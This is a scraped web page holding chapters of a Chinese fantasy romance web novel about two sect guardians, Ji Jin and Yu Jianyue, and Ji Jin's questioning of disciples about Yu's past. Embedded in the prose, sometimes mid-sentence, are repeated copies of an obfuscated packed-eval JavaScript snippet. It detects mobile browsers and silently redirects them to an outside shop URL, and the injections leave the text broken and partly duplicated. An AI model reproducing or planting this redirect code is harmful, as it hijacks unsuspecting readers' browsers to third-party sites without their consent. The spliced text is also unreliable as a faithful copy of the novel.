右飞尘“噗”地一声差点将自己刚喝下去的水给吐出来,他赶紧擦了擦嘴角,抬头说道:“肯定看见了吧,这样再看不见的话,我都要怀疑左护法是不是瞎了。” 右飞尘说的倒没什么毛病,因为经过前几次留信被无视,季烬感觉相当挫败且生气。 可生气也没有任何办法,气急的季烬只能找自己身边唯一的亲信右飞尘出主意。 右飞尘听了季烬的问题也很懵,他不明白自家右护法为什么会对那个问题如此感兴趣,而且在如此执着的情况下,他却依然坚持要用留言的方式,而没考虑过亲自当面去问。 可他当然是不敢乱说话的,于是当季烬问他为什么玉渐月没回信时,右飞尘只能含糊着说道:“兴许是他生气了,根本就没看你留的信吧,也许你换个方式留下那句话,把它留在左护法一定能看到的地方呢?” 这句话成功地点醒了季烬,让他觉得十分有道理。 于是接下来的两天,待在偏殿的季烬除了照顾小宗主,就是蹲在偏殿的各个角落,在每个刁钻的位置留下同样的问题,势必要让玉渐月时时刻刻都能看见。 “也不知道他看见了是什么反应。” 季烬这么想着,忍不住嘀咕着夹起了火锅里的一块肉。 不过就在这时候,夜空里突然传来了破空之声,季烬连忙抬头看去,就见什么东西突然划破右峰小院的上空,直直地坠向了他的位置。 季烬抬起手,稳稳地将那东西接在了手中。 他摊开手一看,才发现掉进院子里的,竟然是他之前放在偏殿温泉里的那枚螺壳。 等等,这东西为什么会在这里—— 就在季烬心里冒出这个想法的同时,他听见螺壳里传来了一道略显暴躁的声音:“凭什么你问了我就要回答,这个问题先问问你自己在说吧!” 明明是隔空传话,但季烬手里面拿着螺壳,却感觉刚才的那句话仿佛是扑面灌进了他耳中,他脑袋嗡嗡地过了好一阵才反应过来,那竟然是玉渐月的声音。 季烬脸色有些发懵地坐在原地,而坐在他对面的右飞尘则惊得筷子都掉了。 右飞尘瞪大眼睛看着季烬,忍不住说道:“我还是第一次看到左护法脾气大成这样,他平时虽然看着怪吓人的,但连数落人都是轻声细语的那种,护法,你到底是怎么做到的?” 季烬:“……” 他也想知道究竟是怎么回事,他不就是想问个问题吗? 只不过是多问了几遍而已。 不过,他盯着自己手里的螺壳,心思却慢慢地飘了出去。 这个问题,先问问自己? · 另一边,玉渐月刚从外面回来,才发现左炎正脸色发白地坐在偏殿的院子里,看起来不知道为什么有些疲惫。 玉渐月怔了一下,问道:“你怎么了?” 左炎喘息两声,看到玉渐月立刻如同看到了救星:“左护法,您来得正好,咳,是小宗主……” 玉渐月看向了旁边在摇篮里晃悠的小宗主,这位小宗主正满脸期待地看着左炎,双手搭在摇篮边上,似乎打算随时往远处跑。 玉渐月见状立刻明白了过来,小宗主这副模样他最熟悉了,每次他和小宗主玩接食游戏的时候,他都会这样子。 看来是他出去的时候,左炎帮忙陪小宗主玩了一阵子接食游戏,但左炎的实力远不如玉渐月,用了一会儿灵力就有些不够了,所以才会被榨干成这个样子。 玉渐月无奈地摇了摇头,抱起小宗主后对左炎说道:“你先去休息吧,我来照顾他就行了。” 这都已经到晚上了,玉渐月觉得小宗主应该很快就能入睡。 左炎确实也没什么力气了,他点点头站起身,正要回到自己的屋子里,却突然想起来问道:“护法,您刚才出门了?” 并不是他大惊小怪,玉渐月平常除非必要其实很少出门,就连要教训宗门弟子,都是把他们叫上门来教训的,但今天玉渐月竟然悄无声息地出去了一趟,这让左炎忍不住有些惊讶。 玉渐月表情略不自然地点头说道:“嗯,出去扔了个东西。” 左炎:“扔东西?” 什么东西要去外面扔? 不过他没把这些话问出来,他很快意识到自己大概是提到了不该提的事情,于是赶紧改口道:“那我先回屋了,护法您也早点休息。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玉渐月视线寻觅了一圈,很快锁定了最茂密的一片树丛,以及树丛下方一块不大的石头。 字肯定就藏在这里。 玉渐月迅速走过去,一把拨开树丛,准备去抹掉季烬提前留下的字迹,然而当他拨开树丛之后,出现在他眼前的却不是字,而是一张脸。 任凭玉渐月心性再沉着冷静,骤然见到这么张脸,也差点叫了出来,他迅速后撤一步,看清对方后捏紧拳头道:“季烬!你什么毛病?藏在这偷袭别人?!” 季烬愣了一下,也赶紧抱着小宗主从树丛里爬了起来,理直气壮地反驳道:“我偷袭你?我揍人从来都是正面进攻,从不偷袭!我来是为了办正事的!” 玉渐月表情一言难尽:“你能有什么正事?正事不能走正门?” 季烬:“……” 他忽视了后面那个问题,很快从怀里拿出了熟悉的螺壳:“正事就是这个,这不是你自己问的吗?” 他将螺壳捏紧在掌心里,直视着玉渐月道:“我是来回答你的问题的,我为什么还留着那柄匕首。” 16.十六章 玉渐月的表情明显有了变化,他问出那个问题的时候,根本没想过季烬会亲自过来给出回答。 但仔细一想,这的确是季烬的作风,凡事从不会拐弯抹角,都是直接去说去做。 玉渐月心头微微一跳,下意识地就要说什么,但季烬却飞快地又说道:“你先听我说,我这几天已经想明白了,我知道这样说可能你会觉得我在胡诌,可是我……” 他的话语十分认真,表情也是前所未见的凝重,似乎即将开口的这些话,对他来说非常重要。 这让玉渐月都不由得变了神态。 玉渐月竟然露出了些微紧张的表情,这是他过去这么多年从未有过的姿态,他无意识地紧紧地拽着拳,仿佛既期望,又难以控制地感到惶恐,季烬即将开口的那些话,听在他的耳中每个字都变得无限绵长。 季烬会说什么?为什么还留着那匕首? 只是因为那东西好用? 玉渐月发现自己的确在期待着回答,但他却怕自己听见的不是他想要的回答。 他突然挣扎般地后退了一步,出声打断了季烬的话:“抱歉,我不想听。” 季烬愣了一下,没听懂他的意思:“什么?” 玉渐月表情隐没在昏暗中:“对,我只是让你在问别人问题之前,先想想自己的答案,我可从来没有说过我想听你的解释。” 季烬从没想过还能有这种说法,他在明显地愣住过后,忍不住问道:“就这样?那我要是非要说给你听呢?” 玉渐月忍无可忍:“你没有别的正经事做吗?” 季烬:“我现在做的事情,对我来说就是正经事,很重要的正经事。” 就像是玉渐月印象中的那样,季烬的性格向来如此,只要认定了什么事就必定要追究到底,现在玉渐月不让他说,他反而更来劲了,又上前两步认真地问道:“那你要怎么样才肯听我说?” 玉渐月:“……” 他有些头疼地揉了揉额角。 他知道如果自己今天不给季烬一个说法,对方大概是不会放过他了,他沉默了会儿,终于说了自己的要求。 · 半个时辰后,季烬表情迷茫地回到了右峰小院里。 右飞尘还在吃小火锅,他肚子已经撑得不行,却仍然舍不得下桌,端着碗举着筷子,正在思索最后再吃个什么,听见小院门开的声音,他才抬起头来,有些好奇地问道:“右护法,你到底去哪了?” 刚才季烬聊了几句后莫名其妙就像是想到了什么,飞快从院子里跑了出去,也没告诉人他要去做什么,右飞尘着实有些好奇。 看季烬默默走回到桌前,右飞尘有些尴尬地挠了挠头:“刚才你不是出去了吗,我还以为你不想吃了,所以就自己吃了火锅……” 好在季烬现在的心思不在食物上面,也没有计较右飞尘独自吃了一整锅的事情。 季烬只是若有所思地说道:“我刚才去找玉渐月回答问题了。” 右飞尘眨了眨眼睛:“什么问题?” 季烬:“螺壳里的问题。” 右飞尘好奇:“右护法你真的回答了?” 季烬:“没回答成功,因为玉渐月不让我回答了。” 右飞尘也迷茫了:“啊?为什么?” 季烬提到这个,表情变得更加古怪:“因为他说他不想听了,除非我先弄清楚他为什么不想听,否则他就不听我的回答。” 右飞尘脑袋快要被绕晕了:“什么乱七八糟的?什么想听不想听的?” 季烬捂住脑袋,摇摇头也是满脸费解。 · 但是任何事情都拦不住季烬的决心。 右护法季烬虽然没有玉渐月那样复杂细腻的心思,但却有打破砂锅问到底的气势,所以在失眠一夜之后,次日早上他天刚亮就顶着浓浓的黑眼圈从房间里跳了出来:“右飞尘!快出来!” 右飞尘赶紧从另一侧的房间里冲出来,脸上还有初醒的迷茫:“怎么了怎么了,是左峰的人打过来了?” 季烬脸上带笑,上前一把拍了拍他的肩膀:“我想到办法了。” 右飞尘还没弄明白他有什么困难,就听到他说起了办法:“什么办法?” 季烬说道:“玉渐月不是想出题考我吗,那我就接他的招好了,我已经想明白了,其实只要我足够了解他,我就能猜到他心里在想什么。” 右飞尘不太理解:“是这样吗……” 季烬点点头,自顾自地接着说道:“没错。” 他一直自诩很了解玉渐月,但最近发生了许多事情,他渐渐才明白,那么多年他们住在相对而立的左右双峰上,常能听见对方的名字,却始终极少见面。他所了解的玉渐月,其实是存在于过去的玉渐月,而现在不管是玉渐月还是他,都已经变得不一样了。 也许玉渐月身上的变化,才是最重要的原因。 他现在很想知道,在来到魔宗之前的那些年间,玉渐月身上究竟发生了什么。 季烬收回心思,表情认真地说道:“总之,我现在的当务之急就是重新了解他。” 右飞尘更不上季烬的思路,不太理解这种结论是怎么得出来的,但他还是问道:“那要怎么样……了解左护法?” 季烬笑了笑:“这就是我要你过来的原因了,你去替我找几个魔宗弟子过来,最好是每个峰都捞一个,随便找谁都行。” 右飞尘不解其意,但还是犹豫着点了点头:“是。” 两个时辰后,季烬带着几个魔宗弟子回到了右峰。 这几名弟子都是季烬在路上随机抓来的,有前山扫地的弟子,在水池里泡澡的鱼妖,正在做饭的打杂弟子,刚在练武场被人揍得鼻青脸肿的魔族,打麻将刚输了两桶灵石的守卫,刚炸完丹炉的药阁长老,还有正在冬眠的熊妖。 这群人满脸不解又紧张地站在小院里面,视线不停左右张望,实在不明白自己是来做什么的。 季烬看着这群人,则拂袖坐到了他们面前,拿了笔和纸煞有介事地说道:“你们不用紧张,我这次找你们来,没有要为难你们的意思,只是想听你们说说……关于左护法玉渐月,你们觉得他是个什么样的人?” 迷茫的众弟子还不知道他们被找来是要做什么,乍然听见季烬这话,他们顿时全都警觉了起来。 就连那只鱼妖的鳞片都炸了起来,也只有冬眠里的熊妖还趴在地上睡得天昏地暗,对眼前发生的事情一无所知。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534152|203086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季烬仿佛没有看到他们紧张的样子,只是握着手里的笔,随手点了那个食堂打杂的弟子:“你先来说。” 打杂弟子愣了一下:“我吗?” 季烬点头,做出了要开始记录的样子:“说吧,玉渐月是个什么样的人?” 打杂弟子支支吾吾半晌,仿佛找不到方向,还是旁边的药阁长老轻咳一声,侧身小声提醒道:“右护法跟左护法的关系你又不是不知道,你就往他喜欢的说就行了。” 打杂弟子听到这里,终于明白了点,定了定神说道:“嗯……左护法他,他无恶不作,恶,恶贯满盈,青面獠牙,面目凶恶!特别吓人!” 季烬听到这里,顿时皱起了眉头。 他笔头点了点桌面,不满地纠正道:“无恶不作是真的,但说他面目凶恶是不是在说瞎话,他长成那样还青面獠牙?吓人?你在唬我呢?” 打杂弟子被吓了一跳,赶紧准备改口,但他也不知道季烬想听什么,只能小声地试探道:“那他……长得其貌不扬?” 季烬声调略微上扬,明显不太赞同:“其貌不扬?” 打杂弟子赶紧再换:“还,还算俊逸?” 季烬冷哼了声,在自己面前的册子上写下几个大字:“俊逸非凡。” 他头也没抬接着道:“你继续说。” 打杂弟子战战兢兢地接着说道:“他还作恶多端,经常折磨无辜弟子,在宗门上下四处巡逻。” 季烬听到这里,再次叫停了对方的话。 他抬眉语气平缓地说道:“我知道你在猜我的心思,故意想顺着我的意思说话,但是我想听的不是这个,你只需要把你见到的听到的玉渐月,原原本本地说出来就行了,我不会为难你们,听见了吗?” 他突然正经的模样和严肃的语气,让在场的众人都有些疑惑和恍惚。 但季烬都已经这么说了,其他人多多少少也都稍微放心了点。 不过新的问题也随之而来,刚才回答问题的那名打杂弟子苦着脸无奈说道:“可是右护法,我只是个魔宗里再普通不过的打杂弟子,我能知道多少,我又怎么敢评价左护法,还能有什么看法呢……” 季烬知道对方说得并没有错,不过他似乎也早想到了这回事,很快说道:“我不需要你说那么多,你们这些弟子,在每天在宗门进出,总会有机会碰见玉渐月,或者间接接触到他,我想知道这其中都发生过什么,他说过什么做过什么,哪怕是再小的事情也行。” 他这么说过之后,其他人终于稍微明白点了。 于是那名打杂弟子想了想,终于举起手低声说道:“我这些年,其实一直在后厨,的确没机会见到左护法,不过我想起一件事情,左护法曾经有次派左炎先生给我们后厨送了很多天材地宝过来,其中还有千年灵参之类的东西,非常珍贵,说是要我们炖成鸡汤送到右峰来。” 季烬听到这里,骤然顿住笔头,抬眸问道:“送到右峰?那是什么时候?” 打杂弟子仔细回忆了会儿,忽地想了起来:“对了,是您和宗主下山游历,然后两人被追杀回来的那次,那次您和宗主都伤得很重,一起在右峰上面疗伤!” 季烬听到这里,顿时表情变得微妙复杂。 17.十七章 又是宗主。 这家伙究竟暗中为宗主做了多少事情? 季烬表情不满地在纸上写写画画,鼻尖在“宗主”两个字上面悬停很久,接着又狠狠在上面画了个大叉,改成了“某人”,接着他才重新抬头,拧着眉头扫了眼其他人:“你们呢,还有谁接触过玉渐月?” 见大家面面相觑,谁也不敢率先开口,季烬只能随手点了个弟子:“你来接着说。” 被点的是个满脸青肿的魔族弟子,他是刚被右飞尘从练武场捞出来的,看着还有些狼狈,不过他捂着头上的包,在被点名后却眨眨眼就想起了该说什么:“其实,我倒是经常和左护法接触。” 季烬来了兴趣,不自觉地坐直了身体:“快说说看。” 魔族弟子苦笑了一下,挠挠头缓缓讲述道:“我其实以前在宗门里天天被人欺负,以前的宗门是经常有人斗殴的,大家打起来根本不管死活的,我当初差点都要活不下去了,每天最怕的事情就是在练武场集合修炼,每天都担心被人找到,只要能躲在房间里,我能不出来就不出来,可是在弟子房里也有很多人欺负我,我每天都过得生不如死……最后是左护法救了我。” 季烬好奇地问道:“他怎么救的你,替你揍了那群人?” 魔族弟子连忙摆手:“我这样的弟子,怎么能劳动左护法替我出头,当然不是,是……左护法当初下令,不允许宗门在练武场之外的区域斗殴,所以我才能活下来!” 他说起这个,忍不住憨厚地笑了笑:“现在我再也不用担心被欺负了,每天都过得很好。” 季烬想起来了,宗门内禁止斗殴的规矩确实是玉渐月来了才有的,当初还是他找宗主坚持了好久才推行下去的,季烬很少离开右峰,所以不怎么在意,现在才知道玉渐月做这些是为了什么。 不过他还是有些疑惑,看着那名魔族弟子脸上的淤青,问道:“宗门不是不能斗殴了吗,那你怎么还挨打了?” 那名魔族弟子有些不好意思地挠了挠脸颊:“这个不是被欺负的,是我自己去了练武场,其实其他人挨的打比我要多得多。” 季烬挑起了眉:“你自己去的?这次你不怕被欺负了?” 那名魔族弟子说到这个,表情也有些感怀:“最开始宗门里不许斗殴之后,我感觉自己被救了一命,所以特地跑到左峰山脚下面感谢了左护法,我原本只是想自己说说,可是没想到当时左护法正好从外面回来,听见了我说的话,他当时就……” 季烬听得兴致勃勃,立刻接话道:“当时就?” 魔族弟子摊手道:“当时就训了我一顿,说我的着装不规范,头发也太乱了,让我回去抄三遍魔宗守则和十遍魔宗入门功法,再给他亲自检查。” 季烬差点笑出来:“我就知道,后来呢,你真抄了给他送过去了?” 魔族弟子连忙说道:“抄了好久,送过去之后左护法还考了我很多问题,我没答上来,他又让我继续抄别的,我当时也不知道自己到底是哪里惹他生气了,每次抄完都挨骂,每次挨完骂又继续抄,除了抄写还要领悟贯通,就这么折腾了差不多半年。 “直到后来有次,有的弟子趁着我们被派去出任务,短暂离开宗门的时候,又想来欺负我,我照着从那些功法里面学来的东西,和左护法的指点,出手反击了他们……” 说到这里那名魔族子弟仿佛仍然觉得不可思议:“我当时把那家伙揍飞了五十多米,我从来没想过我有天竟然能做到这种事情。” 季烬仿佛早有所料:“他在你身上可是花了不少心思。” 魔族弟子连连点头:“我也是那之后才领悟过来,当初左护法肯定听到我感谢他的话了,所以他才特地单独照顾我,教我如何战斗。左护法担心宗门里弱小弟子被欺负,所以才立下了不许斗殴的规矩,可是这样我们不是永远就不被欺负了,左护法是想让我知道,要永远不被欺负,必须要自己变得强大起来。” 季烬揉了揉眉心:“行了行了,你夸得他都像什么神仙下凡了,他可不一定真的想了那么多。” 边这么说着,季烬边动笔记录了下来。 旁边的右飞尘看到了季烬写下的文字,略有些惊讶:“咦,右护法,你怎么只记了他赞美的……” 季烬抬头瞪了右飞尘一眼,右飞尘顿时不开口了。 季烬问完了两个,接着挑中了下一个:“你来说。” 他挑的是那只正在冬眠的熊妖。 熊妖舒舒服服地睡着,顺势换了个姿势。 季烬:“……” 他面无表情地回头去看右飞尘:“你把这玩意儿抓过来干嘛?你能叫醒他?” 右飞尘“哈哈”笑了两声:“不是你说要我每个地方都弄点人过来吗,我看妖兽区那边没多少人,就随便抓了一只过来,你知道现在这个季节很多妖都在冬眠……” 季烬抬起手,用法术把那睡得正实在的家伙给扔到了树上,接着又去问下一个人:“你来说吧。” 被问到的是宗门打杂扫地的女弟子,她看起来有些腼腆,听见季烬发问,她怯生生地抬起头看向后者,犹豫了会儿才说道:“我我其实没怎么接触过左护法,不过……” 她想了想,又赶紧改口:“没,没什么。” 季烬不耐道:“你知道我最烦别人说话说一半,赶紧说吧,只要你说的是实话我不会为难你。” 扫地弟子抿着唇,过了会儿终于开口道:“是这样的,我虽然没接触过左护法,但曾经在书里看过他的事情,这算吗?” 这个话题明显让季烬又有了兴趣:“哦,什么书?说来听听?” 扫地弟子:“宗主的*&¥#@” 她说话声音很小,让季烬有些没有听清。 季烬蹙眉问道:“什么,你大声点。” 扫地弟子:“宗主与左护法的禁断之恋。” 季烬:“……” 他懵了一下,继而脸色突然变得十分精彩,他往左右看看,仿佛在确认其他人是否听清了这些内容,然而其他人的反应比他还大,全部都缩起了脑袋,假装没有听清刚才那名弟子说了什么。 季烬低下头,若有所思地将刚才那个令人费解的书名重新念了一遍,半晌后他才神色复杂地问道:“你说的这本书,里面写的该不会是……” 扫地弟子脸颊红透,小心翼翼地点了点头,声如蚊蚋般说道:“应该就是您想的那样。” 季烬的脸也红了,看着像是气红的:“你们!” 扫地弟子连忙摆手:“不是我写的!写书的人叫飞花君,谁也不知道他是谁,但他写的魔宗逸闻故事在整个宗门都很有名,大家都很爱看!尤其是天音峰的姐妹们都很喜欢看,我也是被她们带着看的!” 季烬脱口道:“还有这么多人在看?” 他飞快地反应过来,憋了一句:“等等,我说是你写的了吗,我就是想问,听你刚才说的,他还写了不止一本?还有什么?全是他们两个的故事?” 扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537731|203086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地弟子摇了摇头:“虽然故事很丰富,各种类型的都有,但也不是全部,里面还有一部分……” 她像是习惯性地讲述起来,但说到一半突然意识到自己在对着谁讲话,于是又停了。 季烬挑眉:“我说过我不喜欢听话听到一半。” 扫地弟子表情略微僵硬,但因为季烬的威势胁迫,最后还是说了出来:“还有一部分是您和宗主,宗主和辛游长老,辛游长老和紫宁长老,镜水使和业火使……以及您和左护法的。” 她最后那句话说得飞快,像是生怕季烬听清。 但季烬明显还是听清了,他语气有些不可置信地喊道:“还有我和玉渐月的?我们?!” 这次别说是扫地弟子,就连旁边的其他人都想打洞躲起来了。 季烬一巴掌拍碎了自己面前的桌子,好在他手里的书册倒是还没坏,他恶狠狠地冲着那名扫地弟子说道:“你!马上把那些……那些提到我和右护法的□□之书的名字给我写下来!然后右飞尘,你!” 他抬手指向右飞尘,右飞尘赶紧站直身体:“属下在!” 季烬:“你马上带人把整个魔宗上下给搜一遍,凡是这些名字的书,统统给我收缴上来,带来右峰全部烧了!” 扫地弟子满脸疼惜:“右护法,可是……” 季烬:“可是什么?” 扫地弟子迎向季烬的目光,顿时心虚起来,连忙摇头:“我知道了。” 季烬刚经受了巨大的冲击,只觉得脑袋里面嗡嗡的,差点连自己要干什么都忘了,他心思复杂,现在只想赶紧结束这次问话,于是飞快地点了旁边的鱼妖:“你来说吧。” 鱼妖眨眨眼睛,犹豫着说了自己和左护法之间的故事:“我记得有次魔宗盛会,好像大家都去了主峰峰顶,当时我在水池里面躺着休息,没想到盛会快要开始的时候,左护法从这里经过了。 “他好像很着急,但不知道为什么,经过水池的时候他突然又不急了,他低头对着水池照镜子,然后整理自己的衣着和头发,整理了很久才走。” 季烬脑袋里还有些乱,听到这话仔细想了想,也没想出来这是哪次盛会。 不过他倒是想起来,玉渐月的确就是这幅样子,平常做什么都是不紧不慢的,每次自己看到他,他看着总是比谁都光鲜亮丽,倒是从不浪费他那张脸。 季烬点了点头,又问下一个:“该你说了。” 最后剩下的是药阁的长老,这位长老年岁已经很大了,平常几乎没有出过药阁,这次要不是右飞尘硬拽,他也不会跑到这里来。 这位药阁长老摸了把胡须,想了好一会儿才说道:“非要说的话,我第一次见到那位左护法,其实不是在宗门里,而是在外面。” 季烬原本还在发散着思绪,想着“禁断之恋”里究竟有什么内容,听到药阁长老的话,他顿时笔尖一顿,双眸黑沉沉地问道:“外面?什么地方?” 药阁长老回忆了会儿:“应该是山海洞,是宗主在宗门外的一处住所,那次他突然说有重要的事情,不由分说就把我带出了宗门,然后我就在山海洞内见到了那位左护法。 “哦对,那时候他还不是护法,当时宗主受了很重的伤,但他没有让我替他自己看伤,而是叫我先替左护法看看眼睛。” 季烬越听神色越是不对,他倏地站起身:“看眼睛是什么意思?” 药阁长老反应过来:“哦这件事应该没几个人知道,当时左护法的眼睛是瞎的。”